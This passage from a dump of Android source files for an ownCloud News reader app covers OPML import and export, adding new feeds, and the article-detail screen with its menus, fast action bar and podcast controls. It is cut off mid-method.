contentResolver.insert(MediaStore.Files.getContentUri(\"external\"), contentValues);\n                path = \"/storage/Downloads/\" + filename; // in case we use MediaStore we can't get the cleartext path\n                OutputStream out = contentResolver.openOutputStream(uri);\n                out.write(xml.getBytes(StandardCharsets.UTF_8));\n                out.close();\n            } else {\n                File fPath = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), filename);\n                path = fPath.getPath();\n                FileOutputStream fos = new FileOutputStream(fPath);\n                OutputStreamWriter outputStreamWriter = new OutputStreamWriter(fos);\n                outputStreamWriter.write(xml);\n                outputStreamWriter.close();\n                fos.close();\n            }\n\n            showAlertDialog(getString(R.string.successfully_exported) + \" \" + path);\n        } catch (IOException e) {\n            Log.e(\"Exception\", \"File write failed: \" + e);\n            showAlertDialog(\"Failed to export OPML - please report this issue - \" + e.getMessage());\n        }\n    }\n\n    @Override\n    public void onRequestPermissionsResult(\n            int requestCode,\n            @NonNull String[] permissions,\n            @NonNull int[] grantResults\n    ) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n\n        // check if user granted the requested permission\n        if (grantResults.length > 0 && grantResults[0] == PERMISSION_GRANTED) {\n            if (requestCode == PERMISSIONS_REQUEST_WRITE_CODE) {\n                // user tried to export OPML -> retry after the permission has been granted\n                exportOpml();\n            }\n        }\n    }\n\n    public static String truncate(String str, int len) {\n        if (str.length() > len) {\n            return str.substring(0, len) + \"...\";\n        } else {\n            return str;\n        }\n    }\n\n    private boolean isUrlValid(String url) {\n        try {\n            new URL(url);\n            return true;\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n        return false;\n    }\n\n    /**\n     * Attempts to sign in or register the account specified by the login form.\n     * If there are form errors (invalid email, missing fields, etc.), the\n     * errors are presented and no actual login attempt is made.\n     */\n    public void attemptAddNewFeed() {\n        Folder folder = folders.get(binding.spFolder.getSelectedItemPosition());\n\n        // Reset errors.\n        binding.etFeedUrl.setError(null);\n\n        // Store values at the time of the login attempt.\n        String urlToFeed = binding.etFeedUrl.getText().toString();\n\n        boolean cancel = false;\n        View focusView = null;\n\n\n        // Check for a valid email address.\n        if (TextUtils.isEmpty(urlToFeed)) {\n            binding.etFeedUrl.setError(getString(R.string.error_field_required));\n            focusView = binding.etFeedUrl;\n            cancel = true;\n        } else if (!isUrlValid(urlToFeed)) {\n            binding.etFeedUrl.setError(getString(R.string.error_invalid_url));\n            focusView = binding.etFeedUrl;\n            cancel = true;\n        }\n\n        if (cancel) {\n            // There was an error; don't attempt login and focus the first\n            // form field with an error.\n            focusView.requestFocus();\n        } else {\n            // Show a progress spinner, and kick off a background task to\n            // perform the user login attempt.\n            showProgress(true);\n\n            mApi.getNewsAPI().createFeed(urlToFeed, folder.getId()).enqueue(new Callback<List<Feed>>() {\n                @Override\n                public void onResponse(@NonNull Call<List<Feed>> call, @NonNull final Response<List<Feed>> response) {\n                    runOnUiThread(() -> {\n                        showProgress(false);\n\n                        if (response.isSuccessful()) {\n                            Intent returnIntent = new Intent();\n                            returnIntent.putExtra(ADD_NEW_SUCCESS, true);\n                            setResult(RESULT_OK, returnIntent);\n\n                            finish();\n                        } else {\n                            try {\n                                String errorMessage = response.errorBody().string();\n                                try {\n                                    //Log.e(TAG, errorMessage);\n                                    JSONObject jObjError = new JSONObject(errorMessage);\n                                    errorMessage = jObjError.getString(\"message\");\n                                    errorMessage = truncate(errorMessage, 150);\n                                } catch (JSONException e) {\n                                    Log.e(TAG, \"Extracting error message failed: \" + errorMessage, e);\n                                }\n                                binding.etFeedUrl.setError(errorMessage);\n                                Log.e(TAG, errorMessage);\n                            } catch (IOException e) {\n                                Log.e(TAG, \"IOException\", e);\n                                binding.etFeedUrl.setError(getString(R.string.login_dialog_text_something_went_wrong));\n                            }\n                            binding.etFeedUrl.requestFocus();\n                        }\n                    });\n                }\n\n                @Override\n                public void onFailure(@NonNull Call<List<Feed>> call, @NonNull final Throwable t) {\n                    runOnUiThread(() -> {\n                        showProgress(false);\n\n                        binding.etFeedUrl.setError(getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + OkHttpSSLClient.HandleExceptions((Exception) t).getMessage());\n                        binding.etFeedUrl.requestFocus();\n                    });\n                }\n            });\n        }\n    }\n\n    @Override\n    public boolean onOptionsItemSelected(MenuItem item) {\n        // Respond to the action bar's Up/Home button\n        if (item.getItemId() == android.R.id.home) {//NavUtils.navigateUpFromSameTask(this);\n            finish();\n            return true;\n        } else {\n            Log.v(TAG, \"Unknown option selected..\");\n        }\n        return super.onOptionsItemSelected(item);\n    }\n\n    /**\n     * Shows the progress UI and hides the login form.\n     */\n    public void showProgress(final boolean show) {\n        int shortAnimTime = getResources().getInteger(android.R.integer.config_shortAnimTime);\n\n        binding.newFeedForm.setVisibility(show ? View.GONE : View.VISIBLE);\n        binding.newFeedForm.animate().setDuration(shortAnimTime).alpha(\n                show ? 0 : 1).setListener(new AnimatorListenerAdapter() {\n            @Override\n            public void onAnimationEnd(Animator animation) {\n                binding.newFeedForm.setVisibility(show ? View.GONE : View.VISIBLE);\n            }\n        });\n\n        binding.newFeedProgress.setVisibility(show ? View.VISIBLE : View.GONE);\n        binding.newFeedProgress.animate().setDuration(shortAnimTime).alpha(\n                show ? 1 : 0).setListener(new AnimatorListenerAdapter() {\n            @Override\n            public void onAnimationEnd(Animator animation) {\n                binding.newFeedProgress.setVisibility(show ? View.VISIBLE : View.GONE);\n            }\n        });\n    }\n\n    public class ImportOpmlSubscriptionsTask extends AsyncTask<Void, List<String>, Boolean> {\n\n        private final String mUrlToFile;\n        private HashMap<String, String> extractedUrls;\n        private NewsReaderOPMLImportDialogFragment pd;\n        private final Context mContext;\n\n        ImportOpmlSubscriptionsTask(String urlToFile, Context context) {\n            this.mUrlToFile = urlToFile;\n            this.mContext = context;\n        }\n\n        @Override\n        protected void onPreExecute() {\n            FragmentTransaction ft = getSupportFragmentManager().beginTransaction();\n            Fragment prev = getSupportFragmentManager().findFragmentByTag(\"news_reader_opml_import_dialog\");\n            if (prev != null) {\n                ft.remove(prev);\n            }\n            ft.addToBackStack(null);\n            pd = NewsReaderOPMLImportDialogFragment.newInstance(false);\n            pd.show(ft, \"news_reader_opml_import_dialog\");\n\n            super.onPreExecute();\n        }\n\n        @Override\n        protected Boolean doInBackground(Void... params) {\n            try {\n                // wait for NewsReaderOPMLImportDialogFragment to be visible\n                Thread.sleep(500);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n\n            String opmlContent;\n            try {\n                if (mUrlToFile.startsWith(\"http\")) {//http[s]\n                    opmlContent = URLConnectionReader.getText(mUrlToFile);\n                } else {\n                    opmlContent = getStringFromFile(mUrlToFile);\n                }\n\n                InputStream is = new ByteArrayInputStream(opmlContent.getBytes());\n                XmlPullParser parser = Xml.newPullParser();\n                parser.setFeature(XmlPullParser.FEATURE_PROCESS_NAMESPACES, false);\n                parser.setInput(is, null);\n                parser.nextTag();\n                extractedUrls = OpmlXmlParser.ReadFeed(parser);\n\n                List<String> result = new ArrayList<>();\n                publishProgress(new ArrayList<>(result));\n\n                final HashMap<String, Long> existingFolders = new HashMap<>();\n\n                mApi.getNewsAPI().folders().blockingSubscribe(folders -> {\n                    for (Folder folder : folders) {\n                        existingFolders.put(folder.getLabel(), folder.getId());\n                    }\n                });\n\n                for (String feedUrl : extractedUrls.keySet()) {\n                    long folderId = 0; //id of the parent folder, 0 for root\n                    String folderName = extractedUrls.get(feedUrl);\n                    if (folderName != null) { //Get Folder ID (create folder if not exists)\n                        if (!existingFolders.containsKey(folderName)) {\n                            // If folder does not exist, create a new one on the server\n                            final Map<String, Object> folderMap = new HashMap<>(1);\n                            folderMap.put(\"name\", folderName);\n                            Folder folder = mApi.getNewsAPI().createFolder(folderMap).execute().body().get(0);\n                            folderId = folder.getId();\n                            // Add folder to list of existing folder in order to prevent that the method tries to create it multiple times\n                            existingFolders.put(folder.getLabel(), folderId);\n                        }\n\n                        folderId = existingFolders.get(folderName);\n                    }\n\n                    Response<List<Feed>> response = mApi.getNewsAPI().createFeed(feedUrl, folderId).execute();\n                    if (response.isSuccessful()) {\n                        Feed feed = response.body().get(0);\n                        result.add(\"✓ \" + feed.getLink());\n                        Log.d(TAG, \"Successfully imported feed: \" + feedUrl + \" - Feed-ID: \" + feed.getId());\n                    } else if (response.code() == 409) {\n                        // already exists\n                        result.add(\"⤏ \" + feedUrl);\n                    } else {\n                        result.add(\"✗ \" + response.code() + \" - \" + feedUrl);\n                        Log.e(TAG, \"Failed to import feed: \" + feedUrl + \" - Status-Code: \" + response.code());\n                        Log.e(TAG, response.errorBody().string());\n                    }\n\n                    // make list immutable and report it as progress\n                    publishProgress(new ArrayList<>(result));\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n                return false;\n            }\n            return true;\n        }\n\n        @Override\n        protected void onProgressUpdate(List<String>... values) {\n            // StringBuilder text = new StringBuilder(\"This might take a few minutes.. please wait..\\n\");\n            StringBuilder text = new StringBuilder();\n\n            List<String> log = values[0];\n            for (String line : log) {\n                text.append(\"\\n\").append(line);\n            }\n\n            pd.updateProgress(log.size(), extractedUrls.size());\n            pd.setMessage(text.toString().trim());\n\n            super.onProgressUpdate(values);\n        }\n\n        @Override\n        protected void onPostExecute(Boolean result) {\n            pd.setVisibilityOkButton(true);\n\n            if (!result) {\n                Toast.makeText(mContext, \"Failed to parse OPML file\", Toast.LENGTH_SHORT).show();\n            } else {\n                Toast.makeText(mContext, \"Import done!\", Toast.LENGTH_LONG).show();\n            }\n\n            super.onPostExecute(result);\n        }\n    }\n}\n\n\n\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsDetailActivity.java",
    "content": "/*\n* Android ownCloud News\n *\n * @author David Luhmer\n * @copyright 2013 David Luhmer david-dev@live.de\n * <p>\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n * <p>\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n * <p>\n * You should have received a copy of the GNU Affero General Public\n * License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage de.luhmer.owncloudnewsreader;\n\nimport static java.util.Objects.requireNonNull;\n\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.pm.ApplicationInfo;\nimport android.content.pm.PackageManager;\nimport android.content.pm.ResolveInfo;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.text.Html;\nimport android.util.Log;\nimport android.util.SparseArray;\nimport android.view.KeyEvent;\nimport android.view.Menu;\nimport android.view.MenuItem;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.webkit.WebView;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentManager;\nimport androidx.fragment.app.FragmentPagerAdapter;\nimport androidx.fragment.app.FragmentStatePagerAdapter;\nimport androidx.viewpager.widget.PagerAdapter;\nimport androidx.viewpager.widget.ViewPager;\n\nimport java.io.File;\nimport java.lang.ref.WeakReference;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport javax.inject.Inject;\n\nimport de.greenrobot.dao.query.LazyList;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.databinding.ActivityNewsDetailBinding;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.helper.ThemeUtils;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.model.TTSItem;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\nimport de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout;\nimport de.luhmer.owncloudnewsreader.widget.WidgetProvider;\n\n\npublic class NewsDetailActivity extends PodcastFragmentActivity {\n\n\tprivate static final String TAG = NewsDetailActivity.class.getCanonicalName();\n\tpublic static final String INCOGNITO_MODE_ENABLED = \"INCOGNITO_MODE_ENABLED\";\n\n\t/**\n\t * The {@link PagerAdapter} that will provide\n\t * fragments for each of the sections. We use a\n\t * {@link FragmentPagerAdapter} derivative, which\n\t * will keep every loaded fragment in memory. If this becomes too memory\n\t * intensive, it may be best to switch to a\n\t * {@link FragmentStatePagerAdapter}.\n\t */\n\tprivate SectionsPagerAdapter mSectionsPagerAdapter;\n\tpublic LazyList<RssItem> rssItems;\n\n\t/**\n\t * The {@link ViewPager} that will host the section contents.\n\t */\n\tprivate ViewPager mViewPager;\n\tprivate int currentPosition;\n\n\tprivate MenuItem menuItem_PlayPodcast;\n\tprivate MenuItem menuItem_RemovePodcast;\n\tprivate MenuItem menuItem_Starred;\n\tprivate MenuItem menuItem_Read;\n\tprivate MenuItem menuItem_Incognito;\n\n\tprivate DatabaseConnectionOrm dbConn;\n\tprotected ActivityNewsDetailBinding binding;\n\n\tprotected @Inject\n\tSharedPreferences mPrefs;\n\n\tprivate boolean mShowFastActions;\n\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n\t\tsuper.onCreate(savedInstanceState);\n\n\t\tbinding = ActivityNewsDetailBinding.inflate(getLayoutInflater());\n\t\tsetContentView(binding.getRoot());\n\n\t\t/*\n\t\t//make full transparent statusBar\n\t\tgetWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN);\n\t\tsetWindowFlag(this, WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS, false);\n\t\tgetWindow().setStatusBarColor(Color.TRANSPARENT);\n\n\n\t\tgetWindow().clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);\n\t\tgetWindow().addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);\n\t\tgetWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN|View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);\n\t\t*/\n\n\t\t/*\n\t\tif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n\t\t\tgetWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);\n\t\t}\n\t\tgetWindow().setStatusBarColor(Color.WHITE);\n\t\t*/\n\n\t\t// For Debugging the WebView using Chrome Remote Debugging\n\t\tif (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) {\n\t\t\tWebView.setWebContentsDebuggingEnabled(true);\n\t\t}\n\n\n\t\tsetSupportActionBar(binding.toolbarLayout.toolbar);\n\t\t/*\n\t\tif (bottomAppBar != null) {\n\t\t\tsetSupportActionBar(bottomAppBar);\n\t\t}\n\t\t*/\n\t\t//getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);\n\n\t\tdbConn = new DatabaseConnectionOrm(this);\n\t\tIntent intent = getIntent();\n\n\t\tint item_id = 0;\n\t\tif (intent.hasExtra(NewsReaderListActivity.ITEM_ID)) {\n\t\t\titem_id = intent.getExtras().getInt(NewsReaderListActivity.ITEM_ID);\n\t\t}\n\t\tif (intent.hasExtra(NewsReaderListActivity.TITLE)) {\n\t\t\trequireNonNull(getSupportActionBar()).setTitle(intent.getExtras().getString(NewsReaderListActivity.TITLE));\n\t\t}\n\n\t\trequireNonNull(getSupportActionBar()).setDisplayHomeAsUpEnabled(true);\n\n\t\trssItems = dbConn.getAllRssItems();\n\n        // If the Activity gets started from the Widget, read the item id and get the selected index in the cursor.\n\t\tif (intent.hasExtra(WidgetProvider.RSS_ITEM_ID)) {\n            boolean foundArticle = false;\n            long rssItemId = intent.getExtras().getLong(WidgetProvider.RSS_ITEM_ID);\n\n            if (Constants.debugModeWidget) {\n                Log.d(TAG, \"Activity launched with RSS Item ID: \" + rssItemId);\n            }\n\n\t\t\tfor (RssItem rssItem : rssItems) {\n                if (rssItemId == rssItem.getId()) {\n\t\t\t\t\tgetSupportActionBar().setTitle(rssItem.getTitle());\n\t\t\t\t\tfoundArticle = true;\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\titem_id++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// if article can't be found for whatever reason just use index 0 and prevent app from crashing\n            if (!foundArticle) {\n                item_id = 0;\n                Log.e(TAG, \"RSS Item with ID \" + rssItemId + \" cannot be found\");\n            }\n\t\t}\n\n\t\t// Create the adapter that will return a fragment for each of the three\n\t\t// primary sections of the app.\n\t\tmSectionsPagerAdapter = new SectionsPagerAdapter(getSupportFragmentManager());\n\n\t\tbinding.progressIndicator.setMax(mSectionsPagerAdapter.getCount());\n\n\t\t// Set up the ViewPager with the sections adapter.\n\t\tmViewPager = findViewById(R.id.pager);\n\t\tmViewPager.setAdapter(mSectionsPagerAdapter);\n\n\n\t\ttry {\n\t\t\tmViewPager.setCurrentItem(item_id, true);\n\t\t\tif (savedInstanceState == null) {\n\t\t\t\t// Only do that when activity is started for the first time. Not on orientation changes etc..\n\t\t\t\tpageChanged(item_id);\n\t\t\t}\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\n\t\tmViewPager.addOnPageChangeListener(onPageChangeListener);\n\t\t// mBtnDisableIncognito.setOnClickListener(v -> {\n\t\t// \ttoggleIncognitoMode();\n\t\t// });\n\n\t\tthis.initFastActionBar();\n\t}\n\n\t@Override\n\tprotected void onResume() {\n\t\tsuper.onResume();\n\n\t\tupdateActionBarIcons();\n\t}\n\n\t@Override\n\tprotected PodcastSlidingUpPanelLayout getPodcastSlidingUpPanelLayout() {\n\t\treturn binding.slidingLayout;\n\t}\n\n\tprivate void toggleIncognitoMode() {\n\t\t// toggle incognito mode\n\t\tsetIncognitoEnabled(!isIncognitoEnabled());\n\n\t\tfor (int i = currentPosition - 1; i <= currentPosition + 1; i++) {\n\t\t\tLog.d(TAG, \"change incognito for idx: \" + i);\n\t\t\tWeakReference<NewsDetailFragment> ndf = mSectionsPagerAdapter.items.get(i);\n\t\t\tif (ndf != null) {\n\t\t\t\tndf.get().syncIncognitoState();\n\t\t\t\tndf.get().startLoadRssItemToWebViewTask(this);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Init fast action bar based on user settings.\n\t * Only show if user selected setting CB_SHOW_FAST_ACTIONS. Otherwise hide.\n\t * <p>\n\t * author: emasty https://github.com/emasty\n\t */\n\tprivate void initFastActionBar() {\n\t\tmShowFastActions = mPrefs.getBoolean(SettingsActivity.CB_SHOW_FAST_ACTIONS, true);\n\n\t\tif (mShowFastActions) {\n\t\t\t// Set click listener for buttons on action bar\n\t\t\tbinding.faDetailBar.faOpenInBrowser.setOnClickListener(v -> this.openInBrowser(currentPosition));\n\t\t\t//binding.faDetailBar.faToggle.setOnClickListener(v -> this.toggleFastActionBar()); // toggle expand / collapse\n\t\t\tbinding.faDetailBar.faStar.setOnClickListener(v -> NewsDetailActivity.this.toggleRssItemStarredState());\n\t\t\tbinding.faDetailBar.faMarkAsRead.setOnClickListener(v -> NewsDetailActivity.this.markRead(currentPosition));\n\t\t\t// binding.faDetailBar.faShare.setOnClickListener(v -> this.share(currentPosition));\n\n\t\t\tbinding.faDetailBar.getRoot().setVisibility(View.VISIBLE);\n\n\t\t\t// initially the bar should be opened in the expanded state\n\t\t\t// this.toggleFastActionBar();\n\t\t} else {\n\t\t\tbinding.faDetailBar.getRoot().setVisibility(View.INVISIBLE);\n\t\t}\n\t}\n\n\t/**\n\t * Expands or shrinks the fast action bar to show/hide secondary functions\n\t */\n\t/*\n\tprivate void toggleFastActionBar() {\n\t\tint currentState = binding.faDetailBar.faCollapseLayout.getVisibility();\n\t\tswitch (currentState) {\n\t\t\tcase View.GONE:\n\t\t\t\tbinding.faDetailBar.faToggle.setImageResource(R.drawable.ic_fa_expand);\n\t\t\t\tbinding.faDetailBar.faCollapseLayout.setVisibility(View.VISIBLE);\n\t\t\t\tbreak;\n\t\t\tcase View.VISIBLE:\n\t\t\t\tbinding.faDetailBar.faToggle.setImageResource(R.drawable.ic_fa_shrink);\n\t\t\t\tbinding.faDetailBar.faCollapseLayout.setVisibility(View.GONE);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t\t//((Animatable)fastActionToggle.getDrawable()).start();\n\t\tbinding.faDetailBar.faToggle.setScaleX(-1);\n\t}\n\t*/\n\n\t@Override\n\tprotected void onDestroy() {\n\t\tsuper.onDestroy();\n\t\trssItems.close();\n\t}\n\n    private final ViewPager.OnPageChangeListener onPageChangeListener = new ViewPager.OnPageChangeListener() {\n\n        @Override\n        public void onPageSelected(int pos) {\n            pageChanged(pos);\n        }\n\n        @Override public void onPageScrolled(int arg0, float arg1, int arg2) { }\n\n        @Override public void onPageScrollStateChanged(int arg0) { }\n    };\n\n\n\t@Override\n\tpublic boolean onKeyDown(int keyCode, KeyEvent event) {\n\t\tif (mPrefs.getBoolean(SettingsActivity.CB_NAVIGATE_WITH_VOLUME_BUTTONS_STRING, false)) {\n\t\t\tif ((keyCode == KeyEvent.KEYCODE_VOLUME_DOWN)) {\n\t\t\t\tif (currentPosition < rssItems.size() - 1) {\n\t\t\t\t\tmViewPager.setCurrentItem(currentPosition + 1, true);\n\t\t\t\t}\n\t\t\t\t// capture event to avoid volume change at end of feed\n\t\t\t\treturn true;\n\t\t\t} else if ((keyCode == KeyEvent.KEYCODE_VOLUME_UP)) {\n\t\t\t\tif (currentPosition > 0) {\n\t\t\t\t\tmViewPager.setCurrentItem(currentPosition - 1, true);\n\t\t\t\t}\n\t\t\t\t// capture event to avoid volume change at beginning of feed\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\tif (keyCode == KeyEvent.KEYCODE_BACK) {\n\t\t\tNewsDetailFragment ndf = getNewsDetailFragmentAtPosition(currentPosition);//(NewsDetailFragment) getSupportFragmentManager().findFragmentByTag(\"android:switcher:\" + R.id.pager + \":\" + currentPosition);\n\n\t\t\tif (ndf != null && ndf.canNavigateBack()) {\n\t\t\t\tndf.navigateBack();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn super.onKeyDown(keyCode, event);\n\t}\n\n\t@Override\n\tpublic boolean onKeyUp(int keyCode, KeyEvent event) {\n\t\tif ((keyCode == KeyEvent.KEYCODE_VOLUME_UP) || (keyCode == KeyEvent.KEYCODE_VOLUME_DOWN)) {\n\t\t\t// capture event to suppress android system sound\n\t\t\treturn true;\n\t\t}\n\t\treturn super.onKeyUp(keyCode, event);\n\t}\n\n\tprivate void pageChanged(int position) {\n\t\tstopVideoOnCurrentPage();\n\t\tcurrentPosition = position;\n\t\tresumeVideoPlayersOnCurrentPage();\n\t\tbinding.progressIndicator.setProgress(position + 1);\n\n\t\tif (rssItems.get(position).getFeed() != null) {\n\t\t\t// Try getting the feed title and use it for the action bar title\n\t\t\trequireNonNull(getSupportActionBar()).setTitle(rssItems.get(position).getFeed().getFeedTitle());\n\t\t} else {\n\t\t\trequireNonNull(getSupportActionBar()).setTitle(rssItems.get(position).getTitle());\n\t\t}\n\n\t\tRssItem rssItem = rssItems.get(position);\n\t\tif (!rssItem.getRead_temp()) {\n\t\t\tif (!NewsReaderListActivity.stayUnreadItems.contains(rssItem.getId())) {\n\t\t\t\tmarkItemAsReadOrUnread(rssItems.get(position), true);\n\t\t\t}\n\n\t\t\tmPostDelayHandler.delayTimer();\n\n\t\t\tLog.v(\"PAGE CHANGED\", \"PAGE: \" + position + \" - IDFEED: \" + rssItems.get(position).getId());\n\t\t}\n\t\tupdateActionBarIcons();\n\t}\n\n\n\tprivate NewsDetailFragment getNewsDetailFragmentAtPosition(int position) {\n\t\tif (mSectionsPagerAdapter.items.get(position) != null)\n\t\t\treturn mSectionsPagerAdapter.items.get(position).get();\n\t\treturn null;\n\t}\n\n\tprivate void resumeVideoPlayersOnCurrentPage() {\n\t\tNewsDetailFragment fragment = getNewsDetailFragmentAtPosition(currentPosition);\n\t\tif (fragment != null) { // could be null if not instantiated yet\n\t\t\tfragment.resumeCurrentPage();\n\t\t}\n\n\t}\n\n\tprivate void stopVideoOnCurrentPage() {\n\t\tNewsDetailFragment fragment = getNewsDetailFragmentAtPosition(currentPosition);\n\t\tif (fragment != null) { // could be null if not instantiated yet\n\t\t\tfragment.pauseCurrentPage();\n\t\t}\n\t}\n\n\tpublic void updateActionBarIcons() {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\n\t\tboolean isStarred = rssItem.getStarred_temp();\n\t\tboolean isRead = rssItem.getRead_temp();\n\n\t\tPodcastItem podcastItem = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(this, rssItem);\n\t\tboolean podcastAvailable = !\"\".equals(podcastItem.link);\n\n\t\tif (menuItem_PlayPodcast != null) {\n\t\t\tmenuItem_PlayPodcast.setVisible(podcastAvailable);\n\t\t}\n\n\t\tif(menuItem_RemovePodcast != null) {\n\t\t\tFile file = new File(PodcastDownloadService.getUrlToPodcastFile(this, podcastItem.fingerprint, podcastItem.link, false));\n\t\t\tmenuItem_RemovePodcast.setVisible(file.exists());\n\t\t}\n\n\t\tif (menuItem_Starred != null) {\n\t\t\tint res = isStarred ? R.drawable.ic_star_24_theme_aware : R.drawable.ic_star_border_24dp_theme_aware;\n\t\t\tmenuItem_Starred.setIcon(res);\n\t\t\tbinding.faDetailBar.faStar.setImageResource(res);\n\t\t}\n\n\t\tif (menuItem_Read != null) {\n\t\t\tint res = isRead ? R.drawable.ic_checkbox_theme_aware : R.drawable.ic_checkbox_outline_theme_aware;\n\t\t\tmenuItem_Read.setIcon(res);\n\t\t\tmenuItem_Read.setChecked(isRead);\n\t\t\tbinding.faDetailBar.faMarkAsRead.setImageResource(res);\n\t\t}\n\n\t\tif (menuItem_Incognito != null) {\n\t\t\tif (isIncognitoEnabled()) {\n\t\t\t\t// always show incognito icon if incognito mode is enabled\n\t\t\t\tmenuItem_Incognito.setShowAsAction(MenuItem.SHOW_AS_ACTION_ALWAYS);\n\t\t\t} else {\n\t\t\t\tmenuItem_Incognito.setShowAsAction(MenuItem.SHOW_AS_ACTION_NEVER);\n\t\t\t}\n\t\t}\n\t}\n\n\n\t@Override\n\tpublic void onBackPressed() {\n\t\tif (!handlePodcastBackPressed())\n\t\t\tsuper.onBackPressed();\n\t}\n\n\t@Override\n\tpublic boolean onCreateOptionsMenu(Menu menu) {\n\t\t// Inflate the menu; this adds items to the action bar if it is present.\n\t\tgetMenuInflater().inflate(R.menu.news_detail, menu);\n\n\t\tMenuItem menuItem_OpenInBrowser = menu.findItem(R.id.action_openInBrowser);\n\t\tMenuItem menuItem_ShareItem = menu.findItem(R.id.action_ShareItem);\n\n\t\tmenuItem_Starred = menu.findItem(R.id.action_starred);\n\t\tmenuItem_Read = menu.findItem(R.id.action_read);\n\t\tmenuItem_PlayPodcast = menu.findItem(R.id.action_playPodcast);\n\t\tmenuItem_RemovePodcast = menu.findItem(R.id.action_removePodcast);\n\t\tmenuItem_Incognito = menu.findItem(R.id.action_incognito_mode);\n\n\t\tif (mShowFastActions) {\n\t\t\tmenuItem_Starred.setVisible(false);\n\t\t\tmenuItem_Read.setVisible(false);\n\t\t\tmenuItem_OpenInBrowser.setVisible(false);\n\t\t\t// menuItem_ShareItem.setVisible(false);\n\t\t}\n\n\t\tSet<String> selections = mPrefs.getStringSet(\"sp_news_detail_actionbar_icons\", new HashSet<>());\n\t\tString[] selected = selections.toArray(new String[]{});\n\t\tfor (String selection : selected) {\n\t\t\tswitch (selection) {\n\t\t\t\tcase \"open_in_browser\":\n\t\t\t\t\tmenuItem_OpenInBrowser.setShowAsAction(MenuItem.SHOW_AS_ACTION_ALWAYS);\n\t\t\t\t\t// TODO!! this is not working..\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"share\":\n\t\t\t\t\tmenuItem_ShareItem.setShowAsAction(MenuItem.SHOW_AS_ACTION_ALWAYS);\n\t\t\t\t\t// TODO!! this is not working..\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"podcast\":\n\t\t\t\t\tmenuItem_PlayPodcast.setShowAsAction(MenuItem.SHOW_AS_ACTION_ALWAYS);\n\t\t\t\t\t// TODO!! this is not working..\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tinitIncognitoMode();\n\n\t\tupdateActionBarIcons();\n\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic boolean onOptionsItemSelected(MenuItem item) {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\n\t\tfinal int itemId = item.getItemId();\n\t\tif (itemId == android.R.id.home) {\n\t\t\tonBackPressed();\n\t\t\treturn true;\n\t\t} else if (itemId == R.id.action_read) {\n\t\t\tthis.markRead(currentPosition);\n\t\t} else if (itemId == R.id.action_starred) {\n\t\t\ttoggleRssItemStarredState();\n\t\t} else if (itemId == R.id.action_openInBrowser) {\n\t\t\tthis.openInBrowser(currentPosition);\n\t\t} else if (itemId == R.id.action_playPodcast) {\n\t\t\topenPodcast(rssItem);\n\t\t} else if (itemId == R.id.action_removePodcast) {\n\t\t\tremovePodcastMedia(rssItem, (result) -> {\n\t\t\t\tif (menuItem_RemovePodcast != null) 